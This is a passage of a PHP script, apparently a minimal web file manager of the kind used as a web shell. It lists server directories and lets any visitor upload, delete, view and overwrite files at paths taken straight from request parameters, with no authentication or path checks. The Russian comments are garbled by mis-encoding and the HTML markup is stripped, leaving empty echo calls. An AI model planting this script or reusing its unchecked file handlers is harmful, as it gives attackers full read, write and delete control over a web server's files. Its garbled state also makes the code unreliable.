Path: $path";
// Форма загрузки файлов
echo "";
// Обработка загрузки файла
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$uploadPath = isset($_POST['upload_path']) ? $_POST['upload_path'] : $path;
$uploadedFile = $uploadPath . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadedFile)) {
echo "File uploaded: " . htmlspecialchars($_FILES['file']['name']) . "
";
} else {
echo "Failed to upload file.
";
}
}
// Обработка ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð°
if (isset($_GET['delete'])) {
$fileToDelete = $path . DIRECTORY_SEPARATOR . $_GET['delete'];
if (is_file($fileToDelete) && unlink($fileToDelete)) {
echo "File deleted: " . htmlspecialchars($_GET['delete']) . "
";
} else {
echo "Failed to delete file.
";
}
}
// Обработка ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹ в файле
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'])) {
$fileToEdit = $path . DIRECTORY_SEPARATOR . $_POST['edit_file'];
file_put_contents($fileToEdit, $_POST['file_content']);
echo "File updated: " . htmlspecialchars($_POST['edit_file']) . "
";
}
// Вывод ÑпиÑка файлов и папок
echo "";
foreach (scandir($path) as $item) {
if ($item === '.') continue;
$itemPath = $path . DIRECTORY_SEPARATOR . $item;
echo "- ";
if (is_dir($itemPath)) {
echo "[DIR] $item";
echo " - Permissions: " . substr(sprintf('%o', fileperms($itemPath)), -4);
} else {
echo "$item";
echo " - [Delete]";
echo " - Size: " . filesize($itemPath) . " bytes, Permissions: " . substr(sprintf('%o', fileperms($itemPath)), -4);
}
echo "
";
}
echo "
";
// ПроÑмотр и редактирование файла
if (isset($_GET['file'])) {
$filePath = $path . DIRECTORY_SEPARATOR . $_GET['file'];
if (is_file($filePath)) {
echo "Contents of " . htmlspecialchars($_GET['file']) . ":
";
echo "";
}
}
?>